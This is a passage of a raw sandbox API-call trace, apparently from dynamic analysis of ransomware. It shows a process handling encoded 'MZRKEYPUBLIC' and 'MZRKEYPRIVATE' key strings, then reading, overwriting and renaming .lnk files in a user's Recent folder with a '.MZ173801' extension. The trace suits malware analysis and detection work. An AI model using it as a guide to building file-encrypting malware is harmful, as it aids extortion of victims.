lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.183] GetCurrentThreadId () returned 0xab4 [0147.183] GetCurrentThreadId () returned 0xab4 [0147.183] GetCurrentThreadId () returned 0xab4 [0147.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bim9uz1pl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.183] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.183] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.183] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x56b [0147.183] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.183] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x56b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x56b, lpOverlapped=0x0) returned 1 [0147.184] CloseHandle (hObject=0x280) returned 1 [0147.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bim9uz1pl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.185] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x56b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x56b, lpOverlapped=0x0) returned 1 [0147.186] CloseHandle (hObject=0x280) returned 1 [0147.409] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bim9uz1pl.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bim9uz1pl.lnk.mz173801")) returned 1 [0147.409] GetCurrentThreadId () returned 0xab4 [0147.409] GetCurrentThreadId () returned 0xab4 [0147.409] GetCurrentThreadId () returned 0xab4 [0147.409] GetCurrentThreadId () returned 0xab4 [0147.409] GetCurrentThreadId () returned 0xab4 [0147.409] GetCurrentThreadId () returned 0xab4 [0147.409] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5baed0e5, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5baed0e5, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5baed0e5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BjNUPBepTMMyu.lnk", cAlternateFileName="BJNUPB~1.LNK")) returned 1 [0147.409] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.409] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bjnupbeptmmyu.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5baed0e5, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5baed0e5, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5baed0e5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c9)) returned 1 [0147.410] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bjnupbeptmmyu.lnk")) returned 0x20 [0147.410] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk", dwFileAttributes=0x80) returned 1 [0147.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.412] GetCurrentThreadId () returned 0xab4 [0147.412] GetCurrentThreadId () returned 0xab4 [0147.412] GetCurrentThreadId () returned 0xab4 [0147.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.413] GetCurrentThreadId () returned 0xab4 [0147.413] GetCurrentThreadId () returned 0xab4 [0147.413] GetCurrentThreadId () returned 0xab4 [0147.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bjnupbeptmmyu.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.413] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.413] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: 